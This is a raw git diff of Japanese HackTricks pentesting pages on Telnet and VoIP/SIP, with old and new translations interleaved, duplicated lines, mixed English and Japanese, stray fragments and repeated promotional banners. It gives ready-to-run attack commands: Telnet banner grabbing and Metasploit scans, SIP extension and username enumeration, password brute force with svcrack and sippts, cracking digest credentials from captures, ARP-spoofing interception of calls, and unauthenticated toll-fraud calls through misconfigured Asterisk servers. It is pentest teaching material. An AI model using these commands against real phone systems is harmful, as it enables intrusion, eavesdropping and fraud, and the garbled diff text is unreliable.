<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
HackTricks をサポートする他の方法:
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックす
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加する、または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
* **HackTricks**の[**GitHubリポジトリ**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出して、あなたのハッキングのコツを共有する。
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つけ
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) をフォローする
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
</details>
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
**脆弱性評価とペネトレーションテストのための即時利用可能なセットアップ**。どこからでもフルペネトレーションテストを実行できます。リコンからレポーティングまでの20以上のツールと機能を備えています。私たちはペネトレーションテスターを置き換えるものではありません - 私たちはカスタムツール、検出・エクスプロイトモジュールを開発して、彼らがより深く掘り下げ、シェルをポップし、楽しむための時間を取り戻すためのものです。
**脆弱性評価とペネトレーションテストのための即座に利用可能なセットアップ**。レコンからレポート作成まで、20以上のツールと機能を使用してどこからでも完全なペンテストを実行します。私たちはペンテスターを置き換えるのではなく、カスタムツール、検出、およびエクスプロイトモジュールを開発して、彼らにより深く掘り下げる時間を与え、シェルをポップして楽しむことができます。
{% embed url="https://pentest-tools.com/" %}
## **基本情報**
Telnetは、ネットワーク上のコンピュータにアクセスするための安全でない方法をユーザーに提供するネットワークプロトコルです。
Telnet は、ユーザーがネットワークを介してコンピュータにアクセスするための**安全でない**ネットワークプロトコルです。
**デフォルトポート:** 23
```
@ -30,24 +30,23 @@ Telnetは、ネットワーク上のコンピュータにアクセスするた
```
## **列挙**
### **バナー掴み取り**
### **バナーの取得**
```bash
nc -vn <IP> 23
```
興味深い列挙は、**nmap**によって実行可能です:
すべての興味深い列挙は、**nmap**によって実行できます:
```bash
nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP>
```
```markdown
スクリプト`telnet-ntlm-info.nse`はNTLM情報Windowsバージョンを取得します。
TELNET プロトコルには、ユーザーとサーバーが TELNET 接続に対してより複雑な(あるいは単に異なる)規約のセットを使用することに同意するために、"**DO, DON'T, WILL, WON'T**" 構造で使用される可能性がある様々な "**オプション**" があります。これらのオプションには、文字セットの変更、エコーモードなどが含まれる可能性があります。([telnet RFC](https://tools.ietf.org/html/rfc854)より)\
**これらのオプションを列挙する方法があることは知っていますが、方法はわかりません。もしご存知であれば教えてください。**
[telnet RFC](https://datatracker.ietf.org/doc/html/rfc854)によると、TELNETプロトコルには、ユーザーとサーバーがTELNET接続でより詳細なまたは単に異なる規約セットを使用することに合意するために、**DO, DON'T, WILL, WON'T**構造を使用して承認されるさまざまな "**options**" があります。これらのオプションには、文字セットの変更、エコーモードの変更などが含まれる可能性があります。
### [ブルートフォース](../generic-methodologies-and-resources/brute-force.md#telnet)
**これらのオプションを列挙することが可能であることはわかっていますが、方法がわかりません。わかる方がいれば教えてください。**
## 設定ファイル
```
### [Brute force](../generic-methodologies-and-resources/brute-force.md#telnet)
## Config file
```bash
/etc/inetd.conf
/etc/xinetd.d/telnet
@ -85,24 +84,22 @@ Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/brocade_enable_login; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_encrypt_overflow; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_ruggedcom; set RHOSTS {IP}; set RPORT 23; run; exit'
```
```markdown
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
**脆弱性評価とペネトレーションテストのための即時利用可能なセットアップ**。どこからでもフルペンテストを実行し、リコンからレポーティングまでの20以上のツールと機能を使用します。私たちはペネトレーターを置き換えるものではありません - 私たちはカスタムツール、検出およびエクスプロイトモジュールを開発して、彼らがより深く掘り下げ、シェルをポップし、楽しむための時間を取り戻すためです。
**脆弱性評価とペネトレーションテストのための即座に利用可能なセットアップ**。レコンからレポート作成まで、20以上のツールと機能を使用してどこからでも完全なペンテストを実行します。私たちはペンテスターを置き換えるのではなく、カスタムツール、検出、およびエクスプロイトモジュールを開発して、彼らにより深く掘り下げる時間を与え、シェルをポップして楽しんでもらいます。
{% embed url="https://pentest-tools.com/" %}
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)でゼロからヒーローまでAWSハッキングを学ぶ</strong></summary>
<summary><strong>htARTEHackTricks AWS Red Team ExpertでゼロからヒーローまでAWSハッキングを学びましょう</strong></summary>
HackTricksをサポートする他の方法:
HackTricksをサポートする他の方法
* **HackTricksにあなたの会社を広告したい場合**、または**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手してください。
* [**PEASSファミリー**](https://opensea.io/collection/the-peass-family)を発見し、私たちの独占的な[**NFTコレクション**](https://opensea.io/collection/the-peass-family)をチェックしてください。
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加するか**、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローしてください**。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有してください。
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**する
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
</details>
```

View file

@ -2,40 +2,42 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>**htARTEHackTricks AWS Red Team Expert**で**ゼロからヒーローまでAWSハッキングを学ぶ**</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong>を学ぶ!</strong></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)をフォローする**
* **ハッキングテクニックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
</details>
## VoIP基本情報
## VoIP基本情報
VoIPの動作について学ぶためには、次のリンクをチェックしてください:
VoIPの動作について学び始めるには、以下をチェックしてください:
{% content-ref url="basic-voip-protocols/" %}
[basic-voip-protocols](basic-voip-protocols/)
{% endcontent-ref %}
## VoIP列挙
## VoIP列挙
### 電話番号
Red Teamが最初に行うべき手順の1つは、OSINTツール、Google検索、またはWebページのスクレイピングを使用して、企業と連絡を取るための利用可能な電話番号を検索することです。
Red Teamが最初に行うべき手順の1つは、OSINTツール、Google検索、またはWebページをスクレイピングして企業と連絡を取るための利用可能な電話番号を検索することです。
電話番号を取得したら、オンラインサービスを使用してオペレーターを特定することができます:
電話番号を取得したら、オペレーターを特定するためにオンラインサービスを使用できます:
* [https://www.numberingplans.com/?page=analysis\&sub=phonenr](https://www.numberingplans.com/?page=analysis\&sub=phonenr)
* [https://mobilenumbertracker.com/](https://mobilenumbertracker.com/)
* [https://www.whitepages.com/](https://www.whitepages.com/)
* [https://www.twilio.com/lookup](https://www.twilio.com/lookup)
オペレーターがVoIPサービスを提供しているかどうかを知ることで、企業がVoIPを使用しているかどうかを特定することができます...さらに、企業がVoIPサービスを契約していない場合でも、PSTNカードを使用して独自のVoIP PBXを従来の電話ネットワークに接続している可能性があります
オペレーターがVoIPサービスを提供しているかどうかを知ることで、企業がVoIPを使用しているかどうかを特定できます...さらに、企業がVoIPサービスを契約していない可能性があり、PSTNカードを使用して自社のVoIP PBXを従来の電話ネットワークに接続しているかもしれません
自動応答や音楽などのものは、VoIPが使用されていることを示しています。
音楽の自動応答などのことは、VoIPが使用されていることを示しています。
### Google Dorks
```bash
@ -71,18 +73,18 @@ inurl:"maint/index.php?FreePBX" intitle: "FreePBX" intext:"FreePBX Admministrati
```
### OSINT情報
VoIPソフトウェアの特定に役立つ他のOSINT情報は、Red Teamにとって有益です。
VoIPソフトウェアを特定するのに役立つ他のOSINT列挙は、Red Teamにとって有益です。
### ネットワーク列挙
* **`nmap`**はUDPサービスのスキャンが可能ですが、スキャンされるUDPサービスの数が多いため、非常に遅く、この種のサービスでは正確ではないかもしれません。
* SIPViciousの**`svmap`**`sudo apt install sipvicious`指定されたネットワーク内のSIPサービスを特定します。
* `svmap`は**簡単にブロックできます**。なぜなら、User-Agentとして`friendly-scanner`を使用しているからですが、`/usr/share/sipvicious/sipvicious`のコードを変更することで対処できます。
- **`nmap`** はUDPサービスをスキャンすることができますが、スキャンされるUDPサービスの数が多いため、非常に遅く、この種のサービスにはあまり正確ではないかもしれません。
- SIPViciousの**`svmap`** (`sudo apt install sipvicious`)指定されたネットワーク内のSIPサービスを特定します。
- `svmap`はUser-Agent `friendly-scanner`を使用しているため、**簡単にブロック**できますが、`/usr/share/sipvicious/sipvicious`からコードを変更することで対処できます。
```bash
# Use --fp to fingerprint the services
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
```
* **`sipscan.py`** from [**sippts**](https://github.com/Pepelux/sippts)**:** Sipscanは、UDP、TCP、またはTLSを介したSIPサービスの非常に高速なスキャナーです。マルチスレッドを使用し、大規模なネットワーク範囲をスキャンすることができます。ポート範囲を簡単に指定したり、TCPとUDPの両方をスキャンしたり、別のメソッドを使用したりデフォルトではOPTIONSを使用します、異なるUser-Agentを指定したりすることができます(その他も可能です)
* **`sipscan.py`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SipscanはUDP、TCP、またはTLS経由のSIPサービスの非常に高速なスキャナーです。マルチスレッドを使用し、大規模なネットワーク範囲をスキャンできます。ポート範囲を簡単に指定したり、TCPとUDPの両方をスキャンしたり、別のメソッドを使用したりデフォルトではOPTIONSを使用、異なるUser-Agentを指定したりすることができます。
```bash
./sipscan.py -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]
@ -94,67 +96,65 @@ svmap 10.10.0.0/24 -p 5060-5070 [--fp]
[!] Used threads: 200
```
* **metasploit**:
Metasploitは、ペネトレーションテストや脆弱性評価に使用されるオープンソースのフレームワークです。Metasploitは、様々な脆弱性を検出し、攻撃を実行するためのツールセットを提供します。このフレームワークは、セキュリティ専門家によって広く使用されており、脆弱性の診断や侵入テストにおいて非常に効果的です。Metasploitは、攻撃者がシステムに侵入し、機密情報を取得するための手法を開発するための貴重なリソースです。
* **metasploit**
```
auxiliary/scanner/sip/options_tcp normal No SIP Endpoint Scanner (TCP)
auxiliary/scanner/sip/options normal No SIP Endpoint Scanner (UDP)
```
#### 追加のネットワーク列挙
PBXは他のネットワークサービスも公開している可能性があります。以下はその例です:
PBXは他のネットワークサービスも公開している可能性があります:
* **69/UDP (TFTP)**: ファームウェアの更新
* **80 (HTTP) / 443 (HTTPS)**: ウェブからデバイスを管理するため
* **389 (LDAP)**: ユーザー情報を保存するための代替手段
* **3306 (MySQL**): MySQLデータベース
* **5038 (Manager)**: 他のプラットフォームからAsteriskを使用するための機能
* **5222 (XMPP)**: Jabberを使用したメッセージング
* **5432 (PostgreSQL)**: PostgreSQLデータベース
* その他...
- **69/UDP (TFTP)**: ファームウェアの更新
- **80 (HTTP) / 443 (HTTPS)**: ウェブからデバイスを管理するため
- **389 (LDAP)**: ユーザー情報を保存するための代替手段
- **3306 (MySQL)**: MySQLデータベース
- **5038 (Manager)**: 他のプラットフォームからAsteriskを使用することを可能にします
- **5222 (XMPP)**: Jabberを使用したメッセージ
- **5432 (PostgreSQL)**: PostgreSQLデータベース
- その他...
### メソッド列挙
### メソッド列挙
`sipenumerate.py`を使用して、PBXで使用可能なメソッドを見つけることができます。[**sippts**](https://github.com/Pepelux/sippts)からダウンロードできます
`sipenumerate.py`を使用して、PBXで使用可能な**メソッドを見つける**ことができます。[**sippts**](https://github.com/Pepelux/sippts)から。
```bash
python3 sipenumerate.py -i 10.10.0.10 -r 5080
```
### 拡張の列挙
### 拡張機能の列挙
PBXプライベートブランチ交換システムの拡張子は、組織やビジネス内の個々の電話回線、デバイス、またはユーザーに割り当てられた**一意の内部識別子**を指します。拡張子を使用することで、組織内での通話の**効率的なルーティング**が可能になります。個々のユーザーやデバイスごとに個別の外部電話番号が必要なくなります。
PBXプライベートブランチ交換システム内の拡張機能は、組織やビジネス内の個々の電話回線、デバイス、またはユーザーに割り当てられた**一意の内部識別子**を指します。拡張機能により、組織内での通話を**効率的にルーティング**することが可能となり、各ユーザーやデバイスに個別の外部電話番号が必要なくなります。
* SIPViciousの**`svwar`**`sudo apt install sipvicious`: `svwar`は無料のSIP PBX拡張子ラインスキャナーです。概念的には、**拡張子の範囲を推測したり、指定された拡張子のリストを推測する**ことによって、従来のワードダイヤラーと同様に動作します。
* **`svwar`** from SIPVicious (`sudo apt install sipvicious`): `svwar`は無料のSIP PBX拡張機能ラインスキャナーです。概念的には、**一連の拡張機能または指定された拡張機能リストを推測**することで、従来のワーダイヤラーと同様に機能します。
```bash
svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
```
* **`sipextend.py`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SipextenはSIPサーバー上の拡張機能を特定します。Sipextenは大規模なネットワークとポート範囲をチェックすることができます。
* **`sipextend.py`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SipextenはSIPサーバー上の拡張機能を特定します。Sipextenは大規模なネットワークおよびポート範囲をチェックできます。
```bash
python3 sipexten.py -i 10.10.0.10 -r 5080 -e 100-200
```
* **metasploit**: Metasploitを使用して、拡張子やユーザー名を列挙することもできます。
* **metasploit**: Metasploitを使用して拡張子/ユーザー名を列挙することもできます:
```
auxiliary/scanner/sip/enumerator_tcp normal No SIP Username Enumerator (TCP)
auxiliary/scanner/sip/enumerator normal No SIP Username Enumerator (UDP)
```
* **`enumiax` (`apt install enumiax`): enumIAX**は、Inter Asterisk Exchangeプロトコルの**ユーザー名ブルートフォースエンジン**です。enumIAXは、2つの異なるモードで動作することができます。シーケンシャルなユーザー名の推測または辞書攻撃です。
* **`enumiax` (`apt install enumiax`): enumIAX** は、Inter Asterisk Exchange プロトコルの **ユーザー名ブルートフォース列挙ツール** です。enumIAX には、2つの異なるモードで動作することがあります。それは、Sequential Username Guessing または Dictionary Attack です。
```bash
enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary
enumiax -v -m3 -M3 10.10.0.10
```
## VoIP 攻撃
### パスワードブルートフォース
### パスワードブルートフォース
**PBX**といくつかの**拡張子/ユーザー名**を発見した場合、Red Teamは一般的なパスワードの辞書を使用して、`REGISTER`メソッドを介して拡張子に対して認証を試みることができます。
**PBX** といくつかの **拡張子/ユーザー名** を発見した場合、Red Team は一般的なパスワードの辞書を使用して認証をブルートフォースするために拡張子を使用して `REGISTER` メソッドを介して認証を試みることができます。
{% hint style="danger" %}
**ユーザー名**は拡張子と同じである場合もありますが、これはPBXシステム、その設定、および組織の設定によって異なる場合があります...
**ユーザー名** が拡張子と同じである場合がありますが、これは PBX システム、その構成、および組織の設定によって異なる場合があります...
ユーザー名が拡張子と異なる場合は、ユーザー名を特定してブルートフォースする必要があります。
ユーザー名が拡張子と異なる場合は、**ユーザー名を特定してブルートフォースする必要があります**
{% endhint %}
* **SIPViciousの`svcrack`**`sudo apt install sipvicious`: SVCrackを使用すると、PBX上の特定のユーザー名/拡張子のパスワードをクラックすることができます。
* SIPVicious の **`svcrack`** (`sudo apt install sipvicious`)SVCrack を使用すると、PBX 上の特定のユーザー名/拡張子のパスワードをクラックすることができます。
```bash
svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
@ -173,22 +173,22 @@ python3 siprcrack.py -i 10.10.0.10 -r 5080 -e 100,101,103-105 -w wordlist/rockyo
### VoIPスニッフィング
もしVoIP機器が**オープンWifiネットワーク**内にある場合、あなたは**すべての情報をスニッフィング**することができます。さらに、もっと閉じたネットワークEthernetで接続されたり、保護されたWifiで接続されたりにいる場合、**ARPスプーフィング**などの**MitM攻撃**を実行することができます。これにより、**PBXとゲートウェイ**の間で情報をスニッフィングすることができます。
**オープンWifiネットワーク**内にVoIP機器がある場合、**すべての情報をスニッフィング**できます。さらに、より閉じたネットワークイーサネット経由または保護されたWifi経由で接続されているでは、**ARPスプーフィング**などの**MitM攻撃**を実行して、**PBXとゲートウェイ**間で情報をスニッフィングすることができます。
ネットワーク情報の中には、機器を管理するための**ウェブの資格情報**、ユーザーの**拡張子**、**ユーザー名**、**IP**アドレス、さらには**ハッシュ化されたパスワード**や**RTPパケット**などが含まれており、これらを再生して**会話を聞く**ことができます。
ネットワーク情報の中には、機器を管理するための**Web資格情報**、ユーザー**拡張機能**、**ユーザー名**、**IP**アドレス、さらには**ハッシュ化されたパスワード**や**会話を聞くために再生できるRTPパケット**などが含まれています。
この情報を取得するためには、Wireshark、tcpdumpなどのツールを使用することができますが、VoIP会話をスニッフィングするために特に作成されたツールである**ucsniff**[https://github.com/Seabreg/ucsniff](https://github.com/Seabreg/ucsniff)を使用することもできます。
この情報を取得するためには、Wireshark、tcpdumpなどのツールを使用できますが、VoIP会話をスニッフィングするために**特に作成されたツール**である[**ucsniff**](https://github.com/Seabreg/ucsniff)を使用することもできます。
{% hint style="danger" %}
**SIP通信でTLSが使用されている場合**、SIP通信を平文で表示することはできません。\
同様に、**SRTP**や**ZRTP**が使用されている場合、**RTPパケットは平文ではありません**。
**SIP通信でTLSが使用されている場合**、SIP通信を平文でることはできません。\
同様に、**SRTP**および**ZRTP**が使用されている場合、**RTPパケットは平文では表示されません**。
{% endhint %}
#### SIP資格情報
#### SIP資格情報
**SIP REGISTER通信**の例を確認して、**資格情報がどのように送信されるか**を理解してください。
**SIP REGISTER通信**の**例**を確認して、**送信される資格情報**がどのようになっているかを理解してください。
* **`sipdump`** & **`sipcrack`****sipcrack**の一部)(`apt-get install sipcrack`これらのツールは、SIPプロトコル内の**ダイジェスト認証**を**pcap**から**抽出**し、それらを**ブルートフォース**することができます。
* **`sipdump`** & **`sipcrack`,** **sipcrack**の一部(`apt-get install sipcrack`: これらのツールは、SIPプロトコル内の**ダイジェスト認証**を**pcap**から**抽出**し、それらを**ブルートフォース**することができます。
```bash
sipdump -p net-capture.pcap sip-creds.txt
sipcrack sip-creds.txt -w dict.txt
@ -196,7 +196,7 @@ sipcrack sip-creds.txt -w dict.txt
* **`siptshar.py`, `sipdump.py`, `sipcrack.py`** from [**sippts**](https://github.com/Pepelux/sippts)**:**
* **SipTshark**はPCAPファイルからSIPプロトコルのデータを抽出します。
* **SipDump**はPCAPファイルからSIP Digest認証を抽出します。
* **SIP Digest Crack**はSIPプロトコル内のDigest認証をクラックするためのツールです。
* **SIP Digest Crack**はSIPプロトコル内のダイジェスト認証をクラックするツールです。
```bash
python3 siptshark.py -f captura3.pcap [-filter auth]
python3 sipdump.py -f captura3.pcap -o data.txt
@ -204,82 +204,82 @@ python3 sipcrack.py -f data.txt -w wordlist/rockyou.txt
```
#### DTMFコード
ネットワークトラフィック内には、SIPの資格情報だけでなく、**DTMFコード**も見つけることができます。これらのコードは、例えば**ボイスメール**にアクセスするために使用されます。\
これらのコードは、**INFO SIPメッセージ**、**オーディオ**、または**RTPパケット**内に送信することが可能です。RTPパケット内にコードが含まれている場合、会話のその部分を切り取り、ツールmultimoを使用して抽出することができます。
ネットワークトラフィック中には、**SIP認証情報**だけでなく、**ボイスメール**にアクセスするために使用されるDTMFコードも見つけることができます。\
これらのコードは、**INFO SIPメッセージ**、**オーディオ**、または**RTPパケット**内に送信することが可能です。RTPパケット内にコードが含まれている場合、会話のその部分を切り取り、ツールmultimoを使用してそれらを抽出することができます:
```bash
multimon -a DTMF -t wac pin.wav
```
### 無料通話 / Asterisks接続の設定ミス
Asteriskでは、特定のIPアドレスからの接続または任意のIPアドレスからの接続を許可することが可能です
Asteriskでは、特定のIPアドレスからの接続または任意のIPアドレスからの接続を許可することが可能です
```
host=10.10.10.10
host=dynamic
```
IPアドレスが指定されている場合、ホストは定期的にREGISTERリクエストを送信する必要はありませんREGISTERパケットには通常30分の有効期限が含まれており、他のシナリオでは電話機は30分ごとにREGISTERする必要があります。ただし、VoIPサーバーからの通話を受けるためには、開いているポートを持っている必要があります。
If an IP address is specified, the host **won't need to send REGISTER** requests every once in a while (in the REGISTER packet is sent the time to live, usually 30min, which means that in other scenario the phone will need to REGISTER every 30mins). However, it'll need to have open ports allowing connections from the VoIP server to take calls.
ユーザーを定義するためには、次のように定義できます:
To define users they can be defined as:
- **`type=user`**:ユーザーはユーザーとしてのみ通話を受けることができます。
- **`type=friend`**:ピアとして通話を行い、ユーザーとして受けることができます(拡張機能と一緒に使用されます)。
- **`type=peer`**ピアとして通話を送受信することができますSIPトランク
* **`type=user`**: The user can only receive calls as user.
* **`type=friend`**: It's possible to perform calls as peer and receive them as user (used with extensions)
* **`type=peer`**: It's possible to send and receive calls as peer (SIP-trunks)
また、次のように安全でない変数を使用して信頼関係を確立することも可能です:
It's also possible to establish trust with the insecure variable:
- **`insecure=port`**IPによって検証されたピア接続を許可します。
- **`insecure=invite`**INVITEメッセージの認証を必要としません。
- **`insecure=port,invite`**:両方
* **`insecure=port`**: Allows peer connections validated by IP.
* **`insecure=invite`**: Doesn't require authentication for INVITE messages
* **`insecure=port,invite`**: Both
{% hint style="warning" %}
**`type=friend`**が使用される場合、**host**変数の**値は使用されません**。したがって、管理者がその値を使用してSIPトランクを誤って設定した場合、**誰でもそれに接続できる**ようになります。
When **`type=friend`** is used, the **value** of the **host** variable **won't be used**, so if an admin **misconfigure a SIP-trunk** using that value, **anyone will be able to connect to it**.
たとえば、次の設定は脆弱です:\
For example, this configuration would be vulnerable:\
`host=10.10.10.10`\
`insecure=port,invite`\
`type=friend`
{% endhint %}
### 無料通話/アスタリスクのコンテキストの誤構成
### Free Calls / Asterisks Context Misconfigurations
アスタリスクでは、**コンテキスト**はダイヤルプラン内の関連する拡張機能、アクション、およびルールを**グループ化するための名前付きのコンテナまたはセクション**です。ダイヤルプランはアスタリスクシステムの中核コンポーネントであり、**着信および発信通話の処理とルーティング方法**を定義します。コンテキストはダイヤルプランを整理し、アクセス制御を管理し、システムの異なる部分を分離するために使用されます。
In Asterisk a **context** is a named container or section in the dial plan that **groups together related extensions, actions, and rules**. The dial plan is the core component of an Asterisk system, as it defines **how incoming and outgoing calls are handled and routed**. Contexts are used to organize the dial plan, manage access control, and provide separation between different parts of the system.
各コンテキストは通常、**`extensions.conf`**ファイルなどの設定ファイルで定義されます。コンテキストは角括弧で示され、コンテキスト名がその内部に含まれます。例えば:
Each context is defined in the configuration file, typically in the **`extensions.conf`** file. Contexts are denoted by square brackets, with the context name enclosed within them. For example:
```bash
csharpCopy code[my_context]
```
コンテキスト内では、拡張子(ダイヤル番号のパターン)を定義し、それらを一連のアクションやアプリケーションと関連付けます。これらのアクションは、通話の処理方法を決定します。例えば:
### Translation
コンテキスト内では、拡張機能(ダイヤル番号のパターン)を定義し、それらを一連のアクションやアプリケーションに関連付けます。これらのアクションは、通話の処理方法を決定します。たとえば:
```scss
[my_context]
exten => 100,1,Answer()
exten => 100,n,Playback(welcome)
exten => 100,n,Hangup()
```
この例では、拡張機能「100」を持つ単純なコンテキスト「my\_context」が示されています。誰かが100をダイヤルすると、通話が受け付けられ、ウェルカムメッセージが再生された後、通話が終了します。
この例では、拡張機能「100」を持つ「my\_context」という単純なコンテキストが示されています。誰かが100をダイヤルすると、通話が受けられ、ウェルカムメッセージが再生され、その後通話が終了します。
これは**別のコンテキスト**で、**他の任意の番号に発信する**ことができます。
これは**別のコンテキスト**で、**他の番号に発信できる**ようになっています:
```scss
[external]
exten => _X.,1,Dial(SIP/trunk/${EXTEN})
```
もし管理者が**デフォルトコンテキスト**を以下のように定義した場合:
管理者が**デフォルトコンテキスト**をのように定義した場合:
```
[default]
include => my_context
include => external
```
{% hint style="warning" %}
どんな人でも**サーバーを使用して他の番号に電話をかける**ことができます(そしてサーバーの管理者が通話料金を支払うことになります)。
誰でも**サーバーを使用して他の番号に電話をかける**ことができます(サーバーの管理者が通話料を支払います)。
{% endhint %}
{% hint style="danger" %}
さらに、デフォルトでは**`sip.conf`**ファイルには**`allowguest=true`**が含まれており、**認証なしの**攻撃者はどんな他の番号に電話をかけることができます。
さらに、デフォルトでは**`sip.conf`**ファイルには**`allowguest=true`**が含まれており、そのため**認証なし**の**どんな**攻撃者でも他の番号に電話をかけることができます。
{% endhint %}
* [**sippts**](https://github.com/Pepelux/sippts)の**`sipinvite.py`**Sipinviteは、**認証なしでPBXサーバーから電話をかけることができるかどうか**を確認します。SIPサーバーが正しく構成されていない場合、外部の番号に電話をかけることができます。また、通話を第二の外部番号に転送することもできます。
* [**sippts**](https://github.com/Pepelux/sippts)からの**`sipinvite.py`**Sipinviteは、**認証なしでPBXサーバーに電話をかけることを許可するかどうか**をチェックします。SIPサーバーが誤った構成を持っている場合、外部番号に電話をかけることができます。また、通話を第二の外部番号に転送することもできます。
たとえば、Asteriskサーバーのコンテキストの構成が悪い場合、認証なしでINVITEリクエストを受け入れることができます。この場合、攻撃者はユーザー名やパスワードを知らなくても電話をかけることができます。
{% code overflow="wrap" %}
たとえば、Asteriskサーバーのコンテキスト構成が悪い場合、AUTHORIZATIONなしでINVITEリクエストを受け入れることができます。この場合、攻撃者はユーザー名やパスワードを知らなくても電話をかけることができます。
```bash
# Trying to make a call to the number 555555555 (without auth) with source number 200.
